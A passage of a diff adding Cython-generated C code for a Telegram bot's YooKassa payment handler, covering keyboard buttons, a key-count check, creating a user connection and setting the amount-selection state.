"handlers/payments/yookassa_pay.py":80 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_yookassa", + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yookassa) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":79 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_yookassa", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":84 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * key_count = await get_key_count(tg_id) + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_4}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":86 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< + * + * if key_count == 0: + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 86, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":88 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 88, __pyx_L1_error) + if (__pyx_t_2) { + + /* "handlers/payments/yookassa_pay.py":89 + * + * if key_count == 0: + * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":90 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_15 = (!__pyx_t_2); + if (__pyx_t_15) { + + /* "handlers/payments/yookassa_pay.py":91 + * exists = await check_connection_exists(tg_id) + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 91, __pyx_L1_error); + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 91, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 91, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 91, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 91, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 91, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":90 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + */ + } + + /* "handlers/payments/yookassa_pay.py":88 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + } + + /* "handlers/payments/yookassa_pay.py":93 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":94 + * + * await callback_query.message.answer( + * text=" :", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 94, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":95 + * await callback_query.message.answer( + * text=" :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":93 + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 93, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 93, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":98 + * ) + * + * await state.set_state(ReplenishBalanceState.choosing_amount_yookassa) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_choosing_amount_yookassa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_1}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 98, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 98, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_yookassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_4process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_4process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 101, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 101, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 101, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 101, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 101, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 101, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_5generator1, __pyx_codeobj__5, 